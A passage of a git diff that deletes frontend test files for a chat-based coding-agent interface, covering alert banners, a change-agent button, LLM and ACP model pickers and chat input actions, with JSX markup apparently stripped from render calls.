"2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - const button = within(banner!).queryByTestId("dismiss-button"); - - act(() => { - fireEvent.click(button!); - }); - - expect(banner).not.toBeInTheDocument(); - }); - - it("banner reappears when updatedAt changes", () => { - const startTime = "2024-01-15T10:00:00-05:00"; - const updatedAt = "2024-01-14T10:00:00Z"; - const newUpdatedAt = "2024-01-15T10:00:00Z"; - - const { rerender } = render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - const button = within(banner!).queryByTestId("dismiss-button"); - - act(() => { - fireEvent.click(button!); - }); - - expect(banner).not.toBeInTheDocument(); - - rerender( - - - , - ); - - expect(screen.queryByTestId("alert-banner")).toBeInTheDocument(); - }); - }); - - describe("Faulty models alerts", () => { - it("renders banner with faulty models list", () => { - const faultyModels = ["gpt-4", "claude-3"]; - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).toBeInTheDocument(); - - expect( - screen.getByText(/The following models are currently reporting errors:/), - ).toBeInTheDocument(); - // Models are displayed in the order they are provided - expect(screen.getByText(/gpt-4/)).toBeInTheDocument(); - expect(screen.getByText(/claude-3/)).toBeInTheDocument(); - }); - - it("does not render banner when faulty models array is empty", () => { - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).not.toBeInTheDocument(); - }); - - it("banner reappears when updatedAt changes", () => { - const faultyModels = ["gpt-4"]; - const updatedAt = "2024-01-14T10:00:00Z"; - const newUpdatedAt = "2024-01-15T10:00:00Z"; - - const { rerender } = render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - const button = within(banner!).queryByTestId("dismiss-button"); - - act(() => { - fireEvent.click(button!); - }); - - expect(banner).not.toBeInTheDocument(); - - rerender( - - - , - ); - - expect(screen.queryByTestId("alert-banner")).toBeInTheDocument(); - }); - }); - - describe("Error message alerts", () => { - it("renders banner with translated error message", () => { - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).toBeInTheDocument(); - expect( - screen.getByText("This is a translated error message"), - ).toBeInTheDocument(); - }); - - it("renders banner with raw error message when no translation exists", () => { - const rawErrorMessage = "This is a raw error without translation"; - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).toBeInTheDocument(); - expect(screen.getByText(rawErrorMessage)).toBeInTheDocument(); - }); - - it("does not render banner when error message is empty", () => { - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).not.toBeInTheDocument(); - }); - - it("does not render banner when error message is null", () => { - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).not.toBeInTheDocument(); - }); - }); - - describe("Multiple alerts", () => { - it("renders all alerts when multiple conditions are present", () => { - const startTime = "2024-01-15T10:00:00-05:00"; - const faultyModels = ["gpt-4"]; - const errorMessage = "ERROR$TRANSLATED_KEY"; - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - expect(banner).toBeInTheDocument(); - - expect( - screen.getByText(/Scheduled maintenance will begin at/), - ).toBeInTheDocument(); - expect( - screen.getByText(/The following models are currently reporting errors:/), - ).toBeInTheDocument(); - expect( - screen.getByText("This is a translated error message"), - ).toBeInTheDocument(); - }); - - it("dismissing hides all alerts", () => { - const startTime = "2024-01-15T10:00:00-05:00"; - const faultyModels = ["gpt-4"]; - const updatedAt = "2024-01-14T10:00:00Z"; - - render( - - - , - ); - - const banner = screen.queryByTestId("alert-banner"); - const button = within(banner!).queryByTestId("dismiss-button"); - - act(() => { - fireEvent.click(button!); - }); - - expect(banner).not.toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/chat/change-agent-button.test.tsx b/__tests__/components/features/chat/change-agent-button.test.tsx deleted file mode 100644 index 8eba5b6c4..000000000 --- a/__tests__/components/features/chat/change-agent-button.test.tsx +++ /dev/null @@ -1,216 +0,0 @@ -import type { ReactNode } from "react"; -import { screen, waitFor } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { QueryClient } from "@tanstack/react-query"; -import { ChangeAgentButton } from "#/components/features/chat/change-agent-button"; -import { renderWithProviders } from "../../../../test-utils"; -import { useConversationStore } from "#/stores/conversation-store"; - -// Stub StyledTooltip so its content renders eagerly. HeroUI's Tooltip (the -// real engine) only mounts content on real-DOM hover, which jsdom doesn't -// fire reliably, so we surface the content as a marker element instead. -vi.mock("#/components/shared/buttons/styled-tooltip", () => ({ - StyledTooltip: ({ - content, - children, - }: { - content: ReactNode; - children: ReactNode; - }) => ( - <> - {children} - {content} - - ), -})); - -// Mock WebSocket status. Controllable so a test can simulate a ready -// connection and isolate the home-page disable from the no-connection one. -const wsState = vi.hoisted(() => ({ status: "CONNECTED" })); -vi.mock("#/hooks/use-unified-websocket-status", () => ({ - useUnifiedWebSocketStatus: () => wsState.status, -})); - -// Mock agent state -vi.mock("#/hooks/use-agent-state", () => ({ - useAgentState: () => ({ curAgentState: "IDLE" }), -})); - -// Track invalidateQueries calls -const mockInvalidateQueries = vi.fn(); - -// Mock react-query to track invalidateQueries calls -vi.mock("@tanstack/react-query", async () => { - const actual = await vi.importActual("@tanstack/react-query"); - return { - ...actual, - useQueryClient: () => ({ - invalidateQueries: mockInvalidateQueries, - }), - }; -}); - -// Mock the active conversation hook -const mockConversationData = { - id: "parent-conversation-123", - sub_conversation_ids: [], -}; - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ - data: mockConversationData, - isFetched: true, - refetch: vi.fn(), - }), -})); - -// Mock the sub-conversation task polling hook to control task status -const mockTaskPollingResult = { - task: null as any, - taskStatus: undefined as string | undefined, - taskDetail: null, - taskError: null, - isLoadingTask: false, - subConversationId: undefined as string | undefined, -}; - -vi.mock("#/hooks/query/use-sub-conversation-task-polling", () => ({ - useSubConversationTaskPolling: () => mockTaskPollingResult, -})); - -// Mock the handle plan click hook -vi.mock("#/hooks/use-handle-plan-click", () => ({ - useHandlePlanClick: () => ({ - handlePlanClick: vi.fn(), - isCreatingConversation: false, - }), -})); - -describe("ChangeAgentButton - Cache Invalidation", () => { - beforeEach(() => { - vi.clearAllMocks(); - // Reset store state - useConversationStore.setState({ - conversationMode: "code", - subConversationTaskId: null, - }); - // Reset mock task polling result - mockTaskPollingResult.taskStatus = undefined; - mockTaskPollingResult.subConversationId = undefined; - wsState.status = "CONNECTED"; - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("should invalidate parent conversation cache exactly once when task becomes READY", async () => { - // Arrange - Set up a task ID in the store - useConversationStore.setState({ - subConversationTaskId: "task-456", - }); - - // Simulate task becoming READY - mockTaskPollingResult.taskStatus = "READY"; - mockTaskPollingResult.subConversationId = "sub-conversation-789"; - - // Act - Render the component - renderWithProviders(); - - // Assert - Cache should be invalidated exactly once - await waitFor(() => { - expect(mockInvalidateQueries).toHaveBeenCalledTimes(1); - }); - - expect(mockInvalidateQueries).toHaveBeenCalledWith({ - queryKey: ["user", "conversation", "parent-conversation-123"], - }); - }); - - it("should not invalidate cache when task status is not READY", async () => { - // Arrange - Set up a task ID with WORKING status - useConversationStore.setState({ - subConversationTaskId: "task-456", - }); - - mockTaskPollingResult.taskStatus = "WORKING"; - mockTaskPollingResult.subConversationId = undefined; - - // Act - renderWithProviders(); - - // Assert - Wait a bit then verify no invalidation occurred - await new Promise((resolve) => { - setTimeout(resolve, 100); - }); - expect(mockInvalidateQueries).not.toHaveBeenCalled(); - }); - - it("should not invalidate cache when there is no subConversationTaskId", async () => { - // Arrange - No task ID set - useConversationStore.setState({ - subConversationTaskId: null, - }); - - mockTaskPollingResult.taskStatus = "READY"; - mockTaskPollingResult.subConversationId = "sub-conversation-789"; - - // Act - renderWithProviders(); - - // Assert - await new Promise((resolve) => { - setTimeout(resolve, 100); - }); - expect(mockInvalidateQueries).not.toHaveBeenCalled(); - }); - - it("should render the button when planning agent feature is enabled", () => { - // Arrange & Act - renderWithProviders(); - - // Assert - const button = screen.getByRole("button"); - expect(button).toBeInTheDocument(); - }); -}); - -describe("ChangeAgentButton - Home page", () => { - beforeEach(() => { - vi.clearAllMocks(); - useConversationStore.setState({ - conversationMode: "code", - subConversationTaskId: null, - }); - mockTaskPollingResult.taskStatus = undefined; - mockTaskPollingResult.subConversationId = undefined; - // A ready websocket isolates the home-page disable: the only reason the - // button is disabled here is the absence of a started conversation. - wsState.status = "OPEN"; - }); - - it("disables the button and explains why via a tooltip on the home page", () => { - // Arrange & Act - render with no active conversation (the home page) - renderWithProviders(, { - navigation: { conversationId: null }, - }); - - // Assert - button stays disabled and the explanatory tooltip is wired up - expect(screen.getByRole("button")).toBeDisabled(); - expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent( - "CHANGE_AGENT$SWITCH_AFTER_CONVERSATION", - ); - }); - - it("drops the explanatory tooltip once a conversation has begun", () => { - // Arrange & Act - render inside an active conversation - renderWithProviders(, { - navigation: { conversationId: "conversation-1" }, - }); - - // Assert - no home-page tooltip wrapper is rendered - expect( - screen.queryByTestId("styled-tooltip-content"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/change-agent-context-menu.test.tsx b/__tests__/components/features/chat/change-agent-context-menu.test.tsx deleted file mode 100644 index 20339a22a..000000000 --- a/__tests__/components/features/chat/change-agent-context-menu.test.tsx +++ /dev/null @@ -1,62 +0,0 @@ -import { fireEvent, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { ChangeAgentContextMenu } from "#/components/features/chat/change-agent-context-menu"; - -describe("ChangeAgentContextMenu", () => { - it("marks the active mode with hover background and a checkmark", () => { - renderWithProviders( - , - ); - - const codeOption = screen.getByTestId("code-option"); - const planOption = screen.getByTestId("plan-option"); - - expect(codeOption).toHaveClass("bg-[var(--oh-interactive-hover)]"); - expect(planOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]"); - expect(codeOption.querySelectorAll("svg")).toHaveLength(2); - expect(planOption.querySelectorAll("svg")).toHaveLength(1); - }); - - it("shows plan as active when conversation mode is plan", () => { - renderWithProviders( - , - ); - - const codeOption = screen.getByTestId("code-option"); - const planOption = screen.getByTestId("plan-option"); - - expect(planOption).toHaveClass("bg-[var(--oh-interactive-hover)]"); - expect(codeOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]"); - expect(planOption.querySelectorAll("svg")).toHaveLength(2); - }); - - it("calls onCodeClick and onClose when code is selected", () => { - const onClose = vi.fn(); - const onCodeClick = vi.fn(); - - renderWithProviders( - , - ); - - fireEvent.click(screen.getByTestId("code-option")); - - expect(onCodeClick).toHaveBeenCalledTimes(1); - expect(onClose).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/features/chat/components/chat-input-actions.test.tsx b/__tests__/components/features/chat/components/chat-input-actions.test.tsx deleted file mode 100644 index a55fe8361..000000000 --- a/__tests__/components/features/chat/components/chat-input-actions.test.tsx +++ /dev/null @@ -1,280 +0,0 @@ -import React from "react"; -import { screen } from "@testing-library/react"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; - -const useActiveConversationMock = vi.fn< - () => { - data: - | { - conversation_id: string; - agent_kind?: "openhands" | "acp"; - llm_model: string | null; - } - | undefined; - } ->(() => ({ data: undefined })); - -vi.mock("#/components/features/controls/agent-status", () => ({ - AgentStatus: () =>
, -})); - -vi.mock("#/components/features/chat/change-agent-button", () => ({ - ChangeAgentButton: () =>
, -})); - -vi.mock( - "#/components/features/chat/components/chat-input-profile-picker", - () => ({ - ChatInputProfilePicker: () => ( -
- ), - ChatInputProfileMenuContent: () => ( -
- ), - }), -); - -vi.mock( - "#/components/features/chat/components/chat-input-llm-profile-picker", - () => ({ - ChatInputLlmProfilePicker: () => ( -
- ), - ChatInputLlmProfileMenuContent: () => ( -
- ), - }), -); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({ - pauseConversation: vi.fn(), - resumeConversation: vi.fn(), - askAgent: vi.fn(), - updateConversationExecutionStatusInCache: vi.fn(), - invalidateConversationQueries: vi.fn(), -})); - -// eslint-disable-next-line import/first -import { ChatInputActions } from "#/components/features/chat/components/chat-input-actions"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -describe("ChatInputActions", () => { - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - useActiveConversationMock.mockReset(); - useActiveConversationMock.mockReturnValue({ data: undefined }); - }); - - it("renders the AgentProfile picker on the home page (local)", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - - renderWithProviders(, { - navigation: { conversationId: null }, - }); - - // Home keeps the start-new/activate AgentProfile picker (#3727). - expect(screen.getByTestId("agent-profile-picker-stub")).toBeInTheDocument(); - expect( - screen.queryByTestId("llm-profile-picker-stub"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders the AgentProfile picker inside a blank local OpenHands conversation", () => { - useActiveConversationMock.mockReturnValue({ - data: { conversation_id: "test-conversation-id", llm_model: null }, - }); - - renderWithProviders( - , - { - navigation: { conversationId: "test-conversation-id" }, - }, - ); - - expect(screen.getByTestId("agent-profile-picker-stub")).toBeInTheDocument(); - expect( - screen.queryByTestId("llm-profile-picker-stub"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders the LLM-profile switcher inside a started local OpenHands conversation", () => { - useActiveConversationMock.mockReturnValue({ - data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" }, - }); - - renderWithProviders( - , - { - navigation: { conversationId: "test-conversation-id" }, - }, - ); - - // In a conversation the user live-switches the LLM profile, not start-new. - expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-profile-picker-stub"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders the model switcher inside a local ACP conversation", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - llm_model: "claude-sonnet-4-6", - }, - }); - - renderWithProviders( - , - { - navigation: { conversationId: "test-conversation-id" }, - }, - ); - - // ACP in a conversation live-switches the running model via ChatInputModel. - expect(screen.getByTestId("chat-input-llm-model")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-profile-picker-stub"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("llm-profile-picker-stub"), - ).not.toBeInTheDocument(); - }); - - it("renders the active conversation model in a cloud ACP conversation", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - llm_model: "gpt-4o", - }, - }); - - renderWithProviders( - - - , - ); - - expect(screen.getByTestId("chat-input-llm-model")).toHaveTextContent( - "gpt-4o", - ); - expect( - screen.queryByTestId("agent-profile-picker-stub"), - ).not.toBeInTheDocument(); - }); - - it("omits the model label on cloud when the active ACP conversation has no llm_model", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - llm_model: null, - }, - }); - - renderWithProviders( - - - , - ); - - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders the LLM-profile switcher inside a cloud OpenHands conversation", () => { - // /switch_profile is a real endpoint on both backends (cloud proxies - // POST /api/v1/app-conversations/{id}/switch_profile) — cloud OpenHands - // conversations get the same live-switch picker as local (#1571 review). - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - useActiveConversationMock.mockReturnValue({ - data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" }, - }); - - renderWithProviders( - - - , - ); - - expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-profile-picker-stub"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("hides the Change Agent button on a local backend", () => { - renderWithProviders(); - - expect( - screen.queryByTestId("change-agent-button-stub"), - ).not.toBeInTheDocument(); - }); - - it("shows the Change Agent button on a cloud backend", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderWithProviders( - - - , - ); - - expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument(); - }); - - it("shows the Change Agent button on the home page on a cloud backend", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderWithProviders( - - - , - { navigation: { conversationId: null } }, - ); - - expect(screen.getByTestId("change-agent-button-stub")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/chat/components/chat-input-field.test.tsx b/__tests__/components/features/chat/components/chat-input-field.test.tsx deleted file mode 100644 index 2d9398159..000000000 --- a/__tests__/components/features/chat/components/chat-input-field.test.tsx +++ /dev/null @@ -1,41 +0,0 @@ -import React from "react"; -import { screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { ChatInputField } from "#/components/features/chat/components/chat-input-field"; - -function Harness({ disabled }: { disabled: boolean }) { - const ref = React.useRef(null); - return ( - - ); -} - -describe("ChatInputField auto-focus", () => { - it("focuses the chat input on mount when enabled", () => { - renderWithProviders(); - - expect(screen.getByTestId("chat-input")).toBe(document.activeElement); - }); - - it("does not focus the chat input on mount when disabled", () => { - renderWithProviders(); - - expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement); - }); - - it("does not steal focus when disabled flips from true to false", () => { - const { rerender } = renderWithProviders(); - document.body.focus(); - - rerender(); - - expect(screen.getByTestId("chat-input")).not.toBe(document.activeElement); - }); -}); diff --git a/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx b/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx deleted file mode 100644 index 172499fba..000000000 --- a/__tests__/components/features/chat/components/chat-input-llm-profile-picker.test.tsx +++ /dev/null @@ -1,89 +0,0 @@ -import { fireEvent, screen } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderWithProviders } from "test-utils"; - -const useChatInputLlmProfileStateMock = vi.fn(); - -vi.mock("#/hooks/use-chat-input-llm-profile-state", () => ({ - useChatInputLlmProfileState: () => useChatInputLlmProfileStateMock(), -})); - -// eslint-disable-next-line import/first -import { ChatInputLlmProfilePicker } from "#/components/features/chat/components/chat-input-llm-profile-picker"; - -const PROFILES = [ - { - name: "Fast", - model: "openai/gpt-4o-mini", - base_url: null, - api_key_set: true, - }, - { - name: "Smart", - model: "anthropic/claude-opus", - base_url: null, - api_key_set: true, - }, -]; - -const selectProfile = vi.fn(); - -function state(overrides = {}) { - return { - profiles: PROFILES, - currentProfileName: "Fast", - currentProfileModel: "openai/gpt-4o-mini", - isLoading: false, - isSwitching: false, - selectProfile, - ...overrides, - }; -} - -describe("ChatInputLlmProfilePicker", () => { - beforeEach(() => { - selectProfile.mockReset(); - useChatInputLlmProfileStateMock.mockReset(); - useChatInputLlmProfileStateMock.mockReturnValue(state()); - }); - - it("renders nothing while loading or when there are no profiles", () => { - useChatInputLlmProfileStateMock.mockReturnValue( - state({ profiles: [], isLoading: false }), - ); - const { container } = renderWithProviders(); - expect(container).toBeEmptyDOMElement(); - }); - - it("labels the pill with the current profile name", () => { - renderWithProviders(); - expect(screen.getByTestId("chat-input-llm-profile")).toHaveTextContent( - "Fast", - ); - }); - - it("live-switches to the picked profile", () => { - renderWithProviders(); - fireEvent.click(screen.getByTestId("chat-input-llm-profile")); - fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Smart")); - - expect(selectProfile).toHaveBeenCalledWith("Smart"); - }); - - it("does not switch when the current profile is re-selected", () => { - renderWithProviders(); - fireEvent.click(screen.getByTestId("chat-input-llm-profile")); - fireEvent.click(screen.getByTestId("chat-input-llm-profile-option-Fast")); - - expect(selectProfile).not.toHaveBeenCalled(); - }); - - it("links to the LLM profiles settings page", () => { - const { container } = renderWithProviders(); - fireEvent.click(screen.getByTestId("chat-input-llm-profile")); - - expect( - container.ownerDocument.querySelector('a[href="/settings/llm"]'), - ).not.toBeNull(); - }); -}); diff --git a/__tests__/components/features/chat/components/chat-input-model.test.tsx b/__tests__/components/features/chat/components/chat-input-model.test.tsx deleted file mode 100644 index f29937b3d..000000000 --- a/__tests__/components/features/chat/components/chat-input-model.test.tsx +++ /dev/null @@ -1,343 +0,0 @@ -import React from "react"; -import { fireEvent, screen } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderWithProviders } from "test-utils"; - -const useActiveConversationMock = vi.fn(); -const useSettingsMock = vi.fn(); -const useActiveBackendMock = vi.fn(); -const switchAcpModelMutate = vi.fn(); - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -vi.mock("#/contexts/active-backend-context", async () => { - const actual = await vi.importActual< - typeof import("#/contexts/active-backend-context") - >("#/contexts/active-backend-context"); - return { - ...actual, - useActiveBackend: () => useActiveBackendMock(), - }; -}); - -vi.mock("#/hooks/mutation/use-switch-acp-model", () => ({ - useSwitchAcpModel: () => ({ mutate: switchAcpModelMutate }), -})); - -import { ChatInputModel } from "#/components/features/chat/components/chat-input-model"; - -describe("ChatInputModel", () => { - beforeEach(() => { - useActiveConversationMock.mockReset(); - useSettingsMock.mockReset(); - useSettingsMock.mockReturnValue({ data: undefined }); - useActiveBackendMock.mockReset(); - // Default to a local backend (mirrors useActiveBackend's standalone - // fallback): live ACP model switching is local-only. - useActiveBackendMock.mockReturnValue({ backend: { kind: "local" } }); - switchAcpModelMutate.mockReset(); - }); - - it("renders the active conversation's llm_model when present", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - llm_model: "openai/gpt-4o", - }, - }); - - renderWithProviders(); - - const model = screen.getByTestId("chat-input-llm-model"); - expect(model).toBeInTheDocument(); - expect(model).toHaveTextContent("openai/gpt…"); - expect(model).toHaveAttribute("title", "openai/gpt-4o"); - expect( - screen.queryByTestId("chat-input-llm-model-popover"), - ).not.toBeInTheDocument(); - - fireEvent.click(model); - const popover = screen.getByTestId("chat-input-llm-model-popover"); - expect(popover).toHaveTextContent("openai/gpt-4o"); - const llmSettingsLink = screen.getByRole("link", { - name: /LLM Profiles|SETTINGS\$LLM_PROFILES|LLM Settings|SETTINGS\$LLM_SETTINGS/, - }); - expect(llmSettingsLink).toHaveAttribute("href", "/settings/llm"); - }); - - it("renders nothing when llm_model is missing", () => { - useActiveConversationMock.mockReturnValue({ - data: { conversation_id: "test-conversation-id" }, - }); - - renderWithProviders(); - - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders an ACP conversation model and links to Agent settings", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "sonnet", - }, - }); - - renderWithProviders(); - - const model = screen.getByTestId("chat-input-llm-model"); - // ACP surfaces show the provider's human label (matching the conversation - // list chip), resolved from ``acp_server`` + the raw ``acp_model`` id. - expect(model).toHaveAttribute("title", "Claude Sonnet 4.6"); - fireEvent.click(model); - expect(screen.getByRole("link")).toHaveAttribute( - "href", - "/settings/agents", - ); - }); - - it("does not fall back to the OpenHands settings model for active ACP conversations", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - llm_model: null, - }, - }); - useSettingsMock.mockReturnValue({ - data: { llm_model: "openai/gpt-4o" }, - }); - - renderWithProviders(); - - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("falls back to the user's default model from settings when there is no active conversation", () => { - // Arrange — home page render: no conversation yet, but the user has - // a default model configured. The switcher should still show. - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { llm_model: "anthropic/claude-sonnet-4-20250514" }, - }); - - renderWithProviders(); - - const model = screen.getByTestId("chat-input-llm-model"); - expect(model).toHaveTextContent("anthropic/…"); - expect(model).toHaveAttribute( - "title", - "anthropic/claude-sonnet-4-20250514", - ); - }); - - it("uses the ACP settings model on the home page when ACP is active", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { - llm_model: "openai/gpt-4o", - agent_settings: { - agent_kind: "acp", - acp_model: "gemini-2.5-pro", - }, - }, - }); - - renderWithProviders(); - - const model = screen.getByTestId("chat-input-llm-model"); - expect(model).toHaveAttribute("title", "gemini-2.5-pro"); - fireEvent.click(model); - expect(screen.getByRole("link")).toHaveAttribute( - "href", - "/settings/agents", - ); - }); - - it("renders nothing when neither the conversation nor settings provide an llm_model", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ data: undefined }); - - renderWithProviders(); - - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("renders nothing for ACP conversations and does NOT fall back to settings.llm_model", () => { - // The ACP subprocess owns its model (via ``acp_model``); ``llm_model`` - // is null on the conversation by design. The previous fallback to - // ``settings.llm_model`` would have resurrected the user's *default* - // OpenHands model on, say, a Claude-Code conversation — visibly - // wrong (the link goes to /settings, which is itself disabled for - // ACP) and silently lies about what model is actually running. - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - llm_model: null, - }, - }); - useSettingsMock.mockReturnValue({ - data: { llm_model: "anthropic/claude-sonnet-4-20250514" }, - }); - - renderWithProviders(); - - expect( - screen.queryByTestId("chat-input-llm-model"), - ).not.toBeInTheDocument(); - }); - - it("shows the provider default on the home page when ACP is the default agent and no model is saved", () => { - // Home-screen gating: no active conversation and no saved ``acp_model``. - // The next-created conversation will inherit the provider's - // ``default_model`` (see buildConfiguredAcpAgentSettings), so the picker - // shows that same default — matching what the runtime will actually - // start. Picker links to /settings/agent (not /settings) since - // ``settings.llm_model`` doesn't apply to ACP. - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { agent_kind: "acp", acp_server: "claude-code" }, - // settings.llm_model is set (user has an OpenHands default - // configured), but agent_kind=acp suppresses it. - llm_model: "anthropic/claude-sonnet-4-20250514", - }, - }); - - renderWithProviders(); - - const model = screen.getByTestId("chat-input-llm-model"); - // Claude Code's registered default (``opus[1m]``), shown as its - // human label to match the conversation list chip. See CLAUDE_MODELS in - // acp-providers.ts. - expect(model).toHaveAttribute("title", "Claude Opus 4.8 (1M)"); - fireEvent.click(model); - expect(screen.getByRole("link")).toHaveAttribute( - "href", - "/settings/agents", - ); - }); - - it("renders the provider's available models as selectable rows for an ACP conversation", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "sonnet", - }, - }); - - renderWithProviders(); - - fireEvent.click(screen.getByTestId("chat-input-llm-model")); - - // Every registered Claude Code model is offered as a row, and the running - // one (sonnet) is marked selected. - const selectedRow = screen.getByTestId( - "chat-input-acp-model-option-sonnet", - ); - expect(selectedRow).toBeInTheDocument(); - expect(selectedRow).toHaveTextContent("Claude Sonnet 4.6"); - expect( - screen.getByTestId("chat-input-acp-model-option-opus[1m]"), - ).toBeInTheDocument(); - }); - - it("live-switches the model when a row is selected in an active ACP conversation", () => { - useActiveConversationMock.mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - agent_kind: "acp", - acp_server: "claude-code", - llm_model: "sonnet", - }, - }); - - renderWithProviders(); - - fireEvent.click(screen.getByTestId("chat-input-llm-model")); - fireEvent.click(screen.getByTestId("chat-input-acp-model-option-opus[1m]")); - - // Active conversation → live switch keyed by the conversation id from the - // navigation context (test-conversation-id), default-write NOT used. - expect(switchAcpModelMutate).toHaveBeenCalledWith({ - conversationId: "test-conversation-id", - model: "opus[1m]", - }); - // Popover closes after a selection. - expect( - screen.queryByTestId("chat-input-llm-model-popover"), - ).not.toBeInTheDocument(); - }); - - it("persists the choice as the default (conversationId null) in the home ACP case", () => { - useActiveConversationMock.mockReturnValue({ data: undefined }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { agent_kind: "acp", acp_server: "claude-code" }, - llm_model: "anthropic/claude-sonnet-4-20250514", - }, - }); - - renderWithProviders(); - - fireEvent.click(screen.getByTestId("chat-input-llm-model")); - fireEvent.click(screen.getByTestId("chat-input-acp-model-option-sonnet")); - - // Home / no session → null conversationId routes the hook to the - // settings-default write path. - expect(switchAcpModelMutate).toHaveBeenCalledWith({ - conversationId: null, - model: "sonnet", - 